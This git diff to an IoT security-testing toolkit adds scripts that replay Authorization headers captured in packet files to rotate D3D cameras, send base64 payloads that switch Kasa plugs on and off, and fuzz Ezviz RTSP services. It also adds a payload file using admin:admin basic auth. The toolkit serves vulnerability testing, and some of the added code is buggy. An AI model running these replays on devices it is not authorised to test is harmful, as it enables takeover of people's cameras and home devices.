diff --git a/cotopaxi/__pycache__/__init__.cpython-311.pyc b/cotopaxi/__pycache__/__init__.cpython-311.pyc
new file mode 100644
index 0000000..2b57642
Binary files /dev/null and b/cotopaxi/__pycache__/__init__.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/amplifier_detector.cpython-311.pyc b/cotopaxi/__pycache__/amplifier_detector.cpython-311.pyc
new file mode 100644
index 0000000..429f5e4
Binary files /dev/null and b/cotopaxi/__pycache__/amplifier_detector.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/amqp_utils.cpython-311.pyc b/cotopaxi/__pycache__/amqp_utils.cpython-311.pyc
new file mode 100644
index 0000000..20b9dd7
Binary files /dev/null and b/cotopaxi/__pycache__/amqp_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/coap_utils.cpython-311.pyc b/cotopaxi/__pycache__/coap_utils.cpython-311.pyc
new file mode 100644
index 0000000..70525bc
Binary files /dev/null and b/cotopaxi/__pycache__/coap_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/common_utils.cpython-311.pyc b/cotopaxi/__pycache__/common_utils.cpython-311.pyc
new file mode 100644
index 0000000..b3d928f
Binary files /dev/null and b/cotopaxi/__pycache__/common_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/cotopaxi_tester.cpython-311.pyc b/cotopaxi/__pycache__/cotopaxi_tester.cpython-311.pyc
new file mode 100644
index 0000000..f075209
Binary files /dev/null and b/cotopaxi/__pycache__/cotopaxi_tester.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/device_identification.cpython-311.pyc b/cotopaxi/__pycache__/device_identification.cpython-311.pyc
new file mode 100644
index 0000000..a372719
Binary files /dev/null and b/cotopaxi/__pycache__/device_identification.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/dtls_utils.cpython-311.pyc b/cotopaxi/__pycache__/dtls_utils.cpython-311.pyc
new file mode 100644
index 0000000..89fb918
Binary files /dev/null and b/cotopaxi/__pycache__/dtls_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/grpc_test_stub_pb2.cpython-311.pyc b/cotopaxi/__pycache__/grpc_test_stub_pb2.cpython-311.pyc
new file mode 100644
index 0000000..af7eea4
Binary files /dev/null and b/cotopaxi/__pycache__/grpc_test_stub_pb2.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/grpc_utils.cpython-311.pyc b/cotopaxi/__pycache__/grpc_utils.cpython-311.pyc
new file mode 100644
index 0000000..cd015b7
Binary files /dev/null and b/cotopaxi/__pycache__/grpc_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/htcpcp_utils.cpython-311.pyc b/cotopaxi/__pycache__/htcpcp_utils.cpython-311.pyc
new file mode 100644
index 0000000..cc7acd6
Binary files /dev/null and b/cotopaxi/__pycache__/htcpcp_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/http2_utils.cpython-311.pyc b/cotopaxi/__pycache__/http2_utils.cpython-311.pyc
new file mode 100644
index 0000000..f8de4f4
Binary files /dev/null and b/cotopaxi/__pycache__/http2_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/http_utils.cpython-311.pyc b/cotopaxi/__pycache__/http_utils.cpython-311.pyc
new file mode 100644
index 0000000..44833a0
Binary files /dev/null and b/cotopaxi/__pycache__/http_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/knx_utils.cpython-311.pyc b/cotopaxi/__pycache__/knx_utils.cpython-311.pyc
new file mode 100644
index 0000000..26cb2e0
Binary files /dev/null and b/cotopaxi/__pycache__/knx_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/mdns_utils.cpython-311.pyc b/cotopaxi/__pycache__/mdns_utils.cpython-311.pyc
new file mode 100644
index 0000000..75e3bd9
Binary files /dev/null and b/cotopaxi/__pycache__/mdns_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/mqtt_utils.cpython-311.pyc b/cotopaxi/__pycache__/mqtt_utils.cpython-311.pyc
new file mode 100644
index 0000000..c322c8d
Binary files /dev/null and b/cotopaxi/__pycache__/mqtt_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/mqttsn_utils.cpython-311.pyc b/cotopaxi/__pycache__/mqttsn_utils.cpython-311.pyc
new file mode 100644
index 0000000..c7fcde8
Binary files /dev/null and b/cotopaxi/__pycache__/mqttsn_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/protocol_tester.cpython-311.pyc b/cotopaxi/__pycache__/protocol_tester.cpython-311.pyc
new file mode 100644
index 0000000..2036b64
Binary files /dev/null and b/cotopaxi/__pycache__/protocol_tester.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/quic_utils.cpython-311.pyc b/cotopaxi/__pycache__/quic_utils.cpython-311.pyc
new file mode 100644
index 0000000..79035e5
Binary files /dev/null and b/cotopaxi/__pycache__/quic_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/rtsp_utils.cpython-311.pyc b/cotopaxi/__pycache__/rtsp_utils.cpython-311.pyc
new file mode 100644
index 0000000..aad347e
Binary files /dev/null and b/cotopaxi/__pycache__/rtsp_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/ssdp_utils.cpython-311.pyc b/cotopaxi/__pycache__/ssdp_utils.cpython-311.pyc
new file mode 100644
index 0000000..1a9859d
Binary files /dev/null and b/cotopaxi/__pycache__/ssdp_utils.cpython-311.pyc differ
diff --git a/cotopaxi/__pycache__/traffic_analyzer.cpython-311.pyc b/cotopaxi/__pycache__/traffic_analyzer.cpython-311.pyc
new file mode 100644
index 0000000..0a5a91b
Binary files /dev/null and b/cotopaxi/__pycache__/traffic_analyzer.cpython-311.pyc differ
diff --git a/cotopaxi/active_scanner.py b/cotopaxi/active_scanner.py
index 2a88660..a2f5a63 100644
--- a/cotopaxi/active_scanner.py
+++ b/cotopaxi/active_scanner.py
@@ -855,7 +855,7 @@ def xxx_scan_heartbleed(
resp1 = client.recvall(timeout=0.5)
self.test_params.report_received_packet(sent_time)
pkt = DTLSRecord(version=version) / TLSHeartBeat(
- length=2 ** 14 - 1, data="bleed..."
+ length=2**14 - 1, data="bleed..."
)
sent_time = self.test_params.report_sent_packet()
client.sendall(str(pkt))
diff --git a/cotopaxi/cotopaxi_tester.py b/cotopaxi/cotopaxi_tester.py
index 2983102..5b3f445 100644
--- a/cotopaxi/cotopaxi_tester.py
+++ b/cotopaxi/cotopaxi_tester.py
@@ -454,7 +454,7 @@ def print_stats(self):
)
)
potential_results = []
- for (proto, proto_results) in self.test_stats.potential_endpoints.items():
+ for proto, proto_results in self.test_stats.potential_endpoints.items():
if proto_results:
potential_results.append(
" For {}: {}".format(proto, proto_results)
diff --git a/cotopaxi/device_identification.py b/cotopaxi/device_identification.py
index d06484f..74d1668 100644
--- a/cotopaxi/device_identification.py
+++ b/cotopaxi/device_identification.py
@@ -333,7 +333,7 @@ def load_packets(pcap_filename, limit_packets=1000):
start_time = time.time()
packets = []
try:
- if os.path.getsize(pcap_filename) > 100 * 2 ** 20:
+ if os.path.getsize(pcap_filename) > 100 * 2**20:
print(
"[!] Provided pcap file is bigger than 100MB, so loading can take a while!\n"
"[!] You can interrupt loading at any time using CTRL+C and classification "
diff --git a/cotopaxi/dtls_utils.py b/cotopaxi/dtls_utils.py
index 3047a6f..c867dbd 100644
--- a/cotopaxi/dtls_utils.py
+++ b/cotopaxi/dtls_utils.py
@@ -198,7 +198,6 @@ def __init__(
self.test_params = test_params
if confirm_hello_verify:
-
pkt = DTLSRecord(
version=dtls_version, sequence=0, content_type=TLSContentType.HANDSHAKE
) / DTLSHandshakes(
diff --git a/cotopaxi/grpc_test_stub_pb2_grpc.py b/cotopaxi/grpc_test_stub_pb2_grpc.py
index 0852ffd..5c2d928 100644
--- a/cotopaxi/grpc_test_stub_pb2_grpc.py
+++ b/cotopaxi/grpc_test_stub_pb2_grpc.py
@@ -27,6 +27,7 @@
import cotopaxi.grpc_test_stub_pb2 as test__stub__pb2
+
# pylint: disable=no-self-use, too-few-public-methods, too-many-arguments, unused-argument
class PingServiceStub(object):
"""Missing associated documentation comment in .proto file."""
diff --git a/cotopaxi/iot_fuzzer.py b/cotopaxi/iot_fuzzer.py
new file mode 100644
index 0000000..0635fcb
--- /dev/null
+++ b/cotopaxi/iot_fuzzer.py
@@ -0,0 +1,180 @@
+# -*- coding: utf-8 -*-
+"""Tool for protocol fuzzing of network service at given IP and port ranges."""
+#
+# Copyright (C) 2021 Cotopaxi Contributors. All Rights Reserved.
+# Copyright (C) 2020 Samsung Electronics. All Rights Reserved.
+# Authors: Jakub Botwicz, Michał Radwański
+#
+# This file is part of Cotopaxi.
+#
+# Cotopaxi is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# (at your option) any later version.
+#
+# Cotopaxi is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Cotopaxi. If not, see .
+#
+
+import sys
+from scapy.all import PcapNgReader
+import requests
+import socket
+import base64
+import pyshark
+from fuzzingbook.MutationFuzzer import *
+
+def extract_unique_authorization_headers(file_path, name, ip, direc):
+ try:
+ with PcapNgReader(file_path) as pcapng_reader:
+ packets = list(pcapng_reader)
+ # Set to store unique Authorization headers
+ unique_authorization_headers = set()
+
+ # Filter packets with HTTP layer (TCP and containing 'GET')
+ http_packets = [pkt for pkt in packets if pkt.haslayer('TCP') and pkt.haslayer('Raw') and 'GET' in str(pkt['Raw'].load)]
+
+ # Extract and print unique Authorization headers
+ for pkt in http_packets:
+ http_request = pkt['Raw'].load.decode('utf-8', 'replace')
+
+ # Check if the HTTP request contains "Authorization" header
+ if 'Authorization' in http_request:
+ authorization_header = http_request.split('Authorization: ')[1].split('\r\n')[0]
+
+ # Print the Authorization header only if it's unique
+ if authorization_header not in unique_authorization_headers:
+ unique_authorization_headers.add(authorization_header)
+ headers_pcap = {'Authorization': authorization_header}
+ get_craft_send(ip, headers_pcap, direc, name)
+
+ except Exception as e:
+ print(f"Error extracting Authorization headers from pcapng file: {e}")
+
+def get_craft_send(ip_t, headers_pcap, direc, name):
+ rot_left = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=left"
+ rot_right = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=right"
+ rot_up = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=up"
+ rot_down = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=down"
+
+ if direc == "left":
+ response = requests.get("http://" + ip_t + rot_left, headers=headers_pcap)
+ if response.status_code == 200:
+ print("================================================================")
+ print("Test Statistics :")
+ print("Message Sent : 1")
+ print("Response Received : 1")
+ print("0% Messsage Loss")
+ print("Test Time : ")
+ print("\n")
+ print("Device Name : ", name)
+ print("Vulnerable to Unauthorized Left turn")
+ print("================================================================")
+ elif direc == "right":
+ response = requests.get("http://" + ip_t + rot_right, headers=headers_pcap)
+ if response.status_code == 200:
+ print("================================================================")
+ print("Test Statistics :")
+ print("Message Sent : 1")
+ print("Response Received : 1")
+ print("0% Messsage Loss")
+ print("Test Time : ")
+ print("\n")
+ print("Device Name : ", name)
+ print("Vulnerable to Unauthorized Right turn")
+ print("================================================================")
+ elif direc == "up":
+ response = requests.get("http://" + ip_t + rot_up, headers=headers_pcap)
+ if response.status_code == 200:
+ print("================================================================")
+ print("Test Statistics :")
+ print("Message Sent : 1")
+ print("Response Received : 1")
+ print("0% Messsage Loss")
+ print("Test Time : ")
+ print("\n")
+ print("Device Name : ", name)
+ print("Vulnerable to Unauthorized Up turn")
+ print("================================================================")
+ elif direc == "down":
+ response = requests.get("http://" + ip_t + rot_down, headers=headers_pcap)
+ if response.status_code == 200:
+ print("================================================================")
+ print("Test Statistics :")
+ print("Message Sent : 1")
+ print("Response Received : 1")
+ print("0% Messsage Loss")
+ print("Test Time : ")
+ print("\n")
+ print("Device Name : ", name)
+ print("Vulnerable to Unauthorized Down turn")
+ print("================================================================")
+def mutate_fuzzer(link):
+ seed_input = link
+ mutation_fuzzer = MutationFuzzer(seed=[seed_input])
+ [mutation_fuzzer.fuzz() for i in range(10)]
+
+def kodak(name, filepath):
+ cap = pyshark.FileCapture(filepath)
+ exported_objects = {}
+ for pkt in cap:
+ # Check if the packet has the desired protocol (e.g., HTTP)
+ if 'http' in pkt:
+ # Check if the packet contains any objects to export
+ if hasattr(pkt.http, 'file_data'):
+ # Extract the object name and data
+ obj_name = pkt.http.file_data.replace('/', '_')
+ obj_data = bytes(pkt.http.file_data, 'utf-8')
+
+ # Store the object in the dictionary
+ exported_objects[obj_name] = obj_data
+ for obj_name, obj_data in exported_objects.items():
+ with open(obj_name, 'wb') as f:
+ f.write(obj_data)
+
+
+def kasa(ip, port, payload):
+ payload_on = "AAAAKtDygfiL/5r31e+UtsWg1Iv5nPCR6LfEsNGlwOLYo4HyhueT9tTu36Lfog=="
+ payload_off = "AAAAKtDygfiL/5r31e+UtsWg1Iv5nPCR6LfEsNGlwOLYo4HyhueT9tTu3qPeow=="
+ try:
+ decoded_payload = base64.b64decode(payload)
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
+ s.connect((ip, port))
+ s.sendall(decoded_payload)
+ response = s.recv(1024).decode()
+ print(response)
+ return response
+ except Exception as e:
+ print(f"Couldn't connect to {ip}:{port}, error: {e}")
+ sys.exit(1)
+
+def main():
+ if len(sys.argv) != 4:
+ print("Usage: cotopaxi.iot_fuzzer [name] [ip] [direction] [port]")
+ sys.exit(1)
+
+ name = sys.argv[1]
+ ip = sys.argv[2]
+ direction = sys.argv[3]
+ if name == "kasa":
+ port = int(sys.argv[4])
+
+ if name == "d3d":
+ file_path = "/home/neouchiha/Downloads/d3d2.pcapng"
+ extract_unique_authorization_headers(file_path, name, ip, direction)
+ elif name == "kasa":
+ payload = input("Enter payload: ")
+ kasa(ip, port, payload)
+ elif name == "kodak":
+ filepath = "/home/neouchiha/Project_Work/kodak.pcapng"
+ kodak(name, filepath)
+ else:
+ print("Invalid name entered.")
+
+if __name__ == "__main__":
+ main()
diff --git a/cotopaxi/iotfuzzsentry.py b/cotopaxi/iotfuzzsentry.py
new file mode 100644
index 0000000..fecc81e
--- /dev/null
+++ b/cotopaxi/iotfuzzsentry.py
@@ -0,0 +1,282 @@
+# -*- coding: utf-8 -*-
+"""Tool for protocol fuzzing of network service at given IP and port ranges."""
+#
+# Copyright (C) 2021 Cotopaxi Contributors. All Rights Reserved.
+# Copyright (C) 2020 Samsung Electronics. All Rights Reserved.
+# Authors: Jakub Botwicz, Michał Radwański
+#
+# This file is part of Cotopaxi.
+#
+# Cotopaxi is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# (at your option) any later version.
+#
+# Cotopaxi is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Cotopaxi. If not, see .
+#
+import sys
+import socket
+import base64
+import time
+import requests
+from scapy.all import *
+from fuzzingbook.MutationFuzzer import MutationFuzzer
+import random
+
+class D3D:
+ def __init__(self, file_path, name, ip, direc):
+ self.file_path = file_path
+ self.name = name
+ self.ip = ip
+ self.direc = direc
+
+ def extract_unique_authorization_headers(self):
+ try:
+ with PcapNgReader(self.file_path) as pcapng_reader:
+ packets = list(pcapng_reader)
+ unique_authorization_headers = set()
+
+ http_packets = [pkt for pkt in packets if pkt.haslayer('TCP') and pkt.haslayer('Raw') and 'GET' in str(pkt['Raw'].load)]
+ for pkt in http_packets:
+ http_request = pkt['Raw'].load.decode('utf-8', 'replace')
+ if 'Authorization' in http_request:
+ authorization_header = http_request.split('Authorization: ')[1].split('\r\n')[0]
+ if authorization_header not in unique_authorization_headers:
+ unique_authorization_headers.add(authorization_header)
+ headers_pcap = {'Authorization': authorization_header}
+ self.mutate_fuzzer(headers_pcap)
+
+ except Exception as e:
+ print(f"Error extracting Authorization headers from pcapng file: {e}")
+
+ def mutate_fuzzer(self, headers):
+ if self.direc == "right":
+ seed_input = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=right"
+ elif self.direc == "left":
+ seed_input = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=left"
+ else:
+ print("Invalid direction specified.")
+ return
+
+ mutation_fuzzer = MutationFuzzer(seed=[seed_input])
+ rang = 200
+ links = [mutation_fuzzer.fuzz() for _ in range(rang)]
+
+ links.pop(0)
+ valid_links = []
+ invalid_links = []
+ message_count = 0
+
+ start_time = time.time()
+
+ for link in links:
+ message_count += 1
+ try:
+ response = requests.get("http://" + self.ip + link, headers=headers)
+ print("Link:", "http://" + self.ip + link)
+ print("Status code:", response.status_code)
+ if response.status_code == 200:
+ valid_links.append(link)
+ else:
+ invalid_links.append(link)
+ print("Response content:")
+ print(response.text)
+ except requests.exceptions.RequestException as e:
+ print(f"Failed to connect to {link}: {e}")
+ invalid_links.append(link)
+ continue
+
+ end_time = time.time()
+ total_time = end_time - start_time
+
+ with open("200_valid.txt", "w") as f1:
+ for link in valid_links:
+ f1.write(link + '\n')
+
+ with open("200_invalid.txt", "w") as f2:
+ for link in invalid_links:
+ f2.write(link + '\n')
+
+ print("================================================================")
+ print("Test Statistics:")
+ print(f"Messages Sent: {message_count}")
+ print(f"Valid Links: {len(valid_links)}")
+ message_loss_percentage = (len(invalid_links) / rang) * 100
+ print(f"Invalid Links: {len(invalid_links)}")
+ print(f"% Message Loss: {message_loss_percentage:.2f}%")
+ print(f"Total Time: {total_time:.2f} seconds")
+ print("\n")
+ print(f"Device Name: {self.name}")
+ print(f"Vulnerable to Unauthorized turn") # Add what it is vulnerable to
+ print("================================================================")
+
+class Kasa:
+ def __init__(self, name, ip, port):
+ self.name = name
+ self.ip = ip
+ self.port = port
+
+ def switch(self, payload):
+ try:
+ decoded_payload = base64.b64decode(payload)
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
+ s.connect((self.ip, self.port))
+ s.sendall(decoded_payload)
+ response = s.recv(1024).decode()
+ print(response)
+ return response
+ except Exception as e:
+ print(f"Couldn't connect to {self.ip}:{self.port}, error: {e}")
+ sys.exit(1)
+ finally:
+ print("================================================================")
+ print("Test Statistics:")
+ print(f"Messages Sent: 1")
+ print(f"Valid Links: 1" if 'response' in locals() and response else "Valid Links: 0")
+ print(f"Invalid Links: 0" if 'response' in locals() and response else "Invalid Links: 1")
+ print(f"% Message Loss: 0.00%" if 'response' in locals() and response else "% Message Loss: 100.00%")
+ print(f"Total Time: {time.time() - start_time:.2f} seconds")
+ print("\n")
+ print(f"Device Name: {self.name}")
+ print(f"Vulnerable to unauthorized access control") # Add what it is vulnerable to
+ print("================================================================")
+
+class Ezviz:
+ def __init__(self, name, ip, port):
+ self.name = name
+ self.ip = ip
+ self.port = port
+
+ def mutate_request(self, request):
+ request = list(request)
+ pos = random.randint(0, len(request) - 1)
+ request[pos] = chr(random.randint(32, 126))
+ return ''.join(request)
+
+ def send_rtsp_request(self, request):
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
+ s.connect((self.ip, self.port))
+ s.sendall(request.encode())
+ response = s.recv(4096)
+ return response.decode()
+
+ def fuzz_rtsp(self):
+ valid_request = "OPTIONS rtsp://{}:{} RTSP/1.0\r\nCSeq: 1\r\n\r\n".format(self.ip, self.port)
+ valid_requests = []
+ invalid_requests = []
+ message_count = 0
+
+ start_time = time.time()
+
+ for i in range(100):
+ message_count += 1
+ mutated_request = self.mutate_request(valid_request)
+ print(f"Sending mutated request {i + 1}:", mutated_request)
+ try:
+ response = self.send_rtsp_request(mutated_request)
+ print(f"Received response:\n{response}\n")
+ valid_requests.append(mutated_request)
+ except Exception as e:
+ print(f"Error sending request: {e}")
+ invalid_requests.append(mutated_request)
+
+ end_time = time.time()
+ total_time = end_time - start_time
+
+ print("================================================================")
+ print("Test Statistics:")
+ print(f"Messages Sent: {message_count}")
+ print(f"Valid Requests: {len(valid_requests)}")
+ message_loss_percentage = (len(invalid_requests) / 100) * 100
+ print(f"Invalid Requests: {len(invalid_requests)}")
+ print(f"% Message Loss: {message_loss_percentage:.2f}%")
+ print(f"Total Time: {total_time:.2f} seconds")
+ print("\n")
+ print(f"Device Name: {self.name}")
+ print(f"Vulnerable to RTSP fuzzing attacks") # Add what it is vulnerable to
+ print("================================================================")
+
+def print_usage():
+ print("""
+Usage: python iot_fuzzsentry.py [name] [arguments]
+
+[name]:
+- d3d: To perform authorization header extraction and fuzzing for D3D devices.
+- kasa: To control Kasa devices with provided IP, port, and payload.
+- ezviz: To fuzz RTSP requests for Ezviz devices with provided IP and port.
+
+[arguments]:
+- For d3d:
+ - [file_path]: Path to the pcapng file containing D3D traffic.
+ - [ip]: Device IP address.
+ - [direction]: Direction of turn (left/right).
+
+- For kasa:
+ - [ip]: Kasa device IP address.
+ - [port]: Kasa device port number.
+ - [payload]: Payload to send to Kasa device.
+
+- For ezviz:
+ - [ip]: Ezviz device IP address.
+ - [port]: Ezviz device port number.
+
+Example usage:
+- For D3D functionality:
+ python iot_fuzzsentry.py d3d /path/to/pcapng/file device_ip direction
+
+- For Kasa functionality:
+ python iot_fuzzsentry.py kasa device_ip port payload
+
+- For Ezviz functionality:
+ python iot_fuzzsentry.py ezviz device_ip port
+""")
+
+def main():
+ if "-h" in sys.argv or "--help" in sys.argv:
+ print_usage()
+ sys.exit(0)
+
+ if len(sys.argv) < 2:
+ print("Error: Missing arguments. Use '-h' or '--help' for usage instructions.")
+ sys.exit(1)
+
+ name = sys.argv[1]
+ if name == "d3d":
+ if len(sys.argv) != 5:
+ print("Error: Incorrect number of arguments for 'd3d'. Use '-h' or '--help' for usage instructions.")
+ sys.exit(1)
+ file_path = sys.argv[2]
+ ip = sys.argv[3]
+ direction = sys.argv[4]
+ d3d_instance = D3D(file_path=file_path, name=name, ip=ip, direc=direction)
+ d3d_instance.extract_unique_authorization_headers()
+ elif name == "kasa":
+ if len(sys.argv) != 5:
+ print("Error: Incorrect number of arguments for 'kasa'. Use '-h' or '--help' for usage instructions.")
+ sys.exit(1)
+ ip = sys.argv[2]
+ port = int(sys.argv[3])
+ payload = sys.argv[4]
+ start_time = time.time()
+ kasa_device = Kasa(name=name, ip=ip, port=port)
+ kasa_device.switch(payload)
+ elif name == "ezviz":
+ if len(sys.argv) != 4:
+ print("Error: Incorrect number of arguments for 'ezviz'. Use '-h' or '--help' for usage instructions.")
+ sys.exit(1)
+ ip = sys.argv[2]
+ port = int(sys.argv[3])
+ ezviz_device = Ezviz(name=name, ip=ip, port=port)
+ ezviz_device.fuzz_rtsp()
+ else:
+ print("Error: Invalid name entered. Use '-h' or '--help' for usage instructions.")
+ sys.exit(1)
+
+if __name__ == "__main__":
+ main()
diff --git a/cotopaxi/resource_listing.py b/cotopaxi/resource_listing.py
index 694704b..e50df18 100644
--- a/cotopaxi/resource_listing.py
+++ b/cotopaxi/resource_listing.py
@@ -79,7 +79,7 @@ def check_method_and_url(method, url):
url_list, methods = tuple_url_methods
for method in methods:
- url_not_existing = "not existing" + 3 * str(random.randrange(2 ** 15)) # nosec
+ url_not_existing = "not existing" + 3 * str(random.randrange(2**15)) # nosec
coap_code_not_existing = coap_check_url(test_params, method, url_not_existing)
print_verbose(
test_params,
diff --git a/cotopaxi/traffic_analyzer.py b/cotopaxi/traffic_analyzer.py
index ed3e643..b52536a 100644
--- a/cotopaxi/traffic_analyzer.py
+++ b/cotopaxi/traffic_analyzer.py
@@ -125,7 +125,7 @@ def classify_traffic(
"""Classify traffic based on provided network packets."""
result_class = None
packets_bins_port = split_packets(packets, ip_addr)
- for (src_port, dst_ip, dst_port) in packets_bins_port:
+ for src_port, dst_ip, dst_port in packets_bins_port:
packets = packets_bins_port[(src_port, dst_ip, dst_port)]
data = df_from_scapy(packets, ip_addr, limit_packets=max_packets)
if data is None:
diff --git a/cotopaxi/vulnerabilities/http/payload_d3d_000_request.raw b/cotopaxi/vulnerabilities/http/payload_d3d_000_request.raw
new file mode 100644
index 0000000..cc9eafc
--- /dev/null
+++ b/cotopaxi/vulnerabilities/http/payload_d3d_000_request.raw
@@ -0,0 +1,2 @@
+GET /web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=right
+Authorization: Basic YWRtaW46YWRtaW4=
diff --git a/cotopaxi/vulnerabilities/vulnerabilities.yaml b/cotopaxi/vulnerabilities/vulnerabilities.yaml
index 20086a7..faee672 100644
--- a/cotopaxi/vulnerabilities/vulnerabilities.yaml
+++ b/cotopaxi/vulnerabilities/vulnerabilities.yaml
@@ -346,3 +346,10 @@
url:
credit: Jakub Botwicz
payload_file: dtls/payload_tradfri_000.raw
+- name: D3D_000
+ type: Access
+ cve_id:
+ description: Accessing the user and enabling camera rotation is achieved by sending a GET request with the specified parameters.
+ url:
+ credit: Pranav Krishna
+ payload_file: http/payload_d3d_000_request.raw
diff --git a/tests/__pycache__/__init__.cpython-311.pyc b/tests/__pycache__/__init__.cpython-311.pyc
new file mode 100644
index 0000000..a93eccb
Binary files /dev/null and b/tests/__pycache__/__init__.cpython-311.pyc differ
diff --git a/tests/__pycache__/common_runner.cpython-311.pyc b/tests/__pycache__/common_runner.cpython-311.pyc
new file mode 100644
index 0000000..2999a3a
Binary files /dev/null and b/tests/__pycache__/common_runner.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_active_scanner.cpython-311.pyc b/tests/__pycache__/test_active_scanner.cpython-311.pyc
new file mode 100644
index 0000000..cb46c74
Binary files /dev/null and b/tests/__pycache__/test_active_scanner.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_amplifier_detector.cpython-311.pyc b/tests/__pycache__/test_amplifier_detector.cpython-311.pyc
new file mode 100644
index 0000000..0848b96
Binary files /dev/null and b/tests/__pycache__/test_amplifier_detector.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_amqp_utils.cpython-311.pyc b/tests/__pycache__/test_amqp_utils.cpython-311.pyc
new file mode 100644
index 0000000..14319e9
Binary files /dev/null and b/tests/__pycache__/test_amqp_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_client_proto_fuzzer.cpython-311.pyc b/tests/__pycache__/test_client_proto_fuzzer.cpython-311.pyc
new file mode 100644
index 0000000..c609eea
Binary files /dev/null and b/tests/__pycache__/test_client_proto_fuzzer.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_client_vuln_tester.cpython-311.pyc b/tests/__pycache__/test_client_vuln_tester.cpython-311.pyc
new file mode 100644
index 0000000..38f6dd1
Binary files /dev/null and b/tests/__pycache__/test_client_vuln_tester.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_coap_utils.cpython-311.pyc b/tests/__pycache__/test_coap_utils.cpython-311.pyc
new file mode 100644
index 0000000..68cc7db
Binary files /dev/null and b/tests/__pycache__/test_coap_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_common_utils.cpython-311.pyc b/tests/__pycache__/test_common_utils.cpython-311.pyc
new file mode 100644
index 0000000..89769a2
Binary files /dev/null and b/tests/__pycache__/test_common_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_cotopaxi_tester.cpython-311.pyc b/tests/__pycache__/test_cotopaxi_tester.cpython-311.pyc
new file mode 100644
index 0000000..73aabf5
Binary files /dev/null and b/tests/__pycache__/test_cotopaxi_tester.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_device_identification.cpython-311.pyc b/tests/__pycache__/test_device_identification.cpython-311.pyc
new file mode 100644
index 0000000..3b8c451
Binary files /dev/null and b/tests/__pycache__/test_device_identification.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_dtls_utils.cpython-311.pyc b/tests/__pycache__/test_dtls_utils.cpython-311.pyc
new file mode 100644
index 0000000..389faaf
Binary files /dev/null and b/tests/__pycache__/test_dtls_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_ftp_utils.cpython-311.pyc b/tests/__pycache__/test_ftp_utils.cpython-311.pyc
new file mode 100644
index 0000000..d8b0c63
Binary files /dev/null and b/tests/__pycache__/test_ftp_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_grpc_utils.cpython-311.pyc b/tests/__pycache__/test_grpc_utils.cpython-311.pyc
new file mode 100644
index 0000000..1be89c0
Binary files /dev/null and b/tests/__pycache__/test_grpc_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_htcpcp_utils.cpython-311.pyc b/tests/__pycache__/test_htcpcp_utils.cpython-311.pyc
new file mode 100644
index 0000000..e34e4e1
Binary files /dev/null and b/tests/__pycache__/test_htcpcp_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_http2_utils.cpython-311.pyc b/tests/__pycache__/test_http2_utils.cpython-311.pyc
new file mode 100644
index 0000000..874f748
Binary files /dev/null and b/tests/__pycache__/test_http2_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_http_utils.cpython-311.pyc b/tests/__pycache__/test_http_utils.cpython-311.pyc
new file mode 100644
index 0000000..505ed39
Binary files /dev/null and b/tests/__pycache__/test_http_utils.cpython-311.pyc differ
diff --git a/tests/__pycache__/test_knx_utils.cpython-311.pyc b/tests/__pycache__/test_knx_utils.cpython-311.pyc
new file mode 100644
index 0000000..1de5663
Binary files /dev/null and b/tests/__pycache__/test_knx_utils.cpython-311.pyc differ
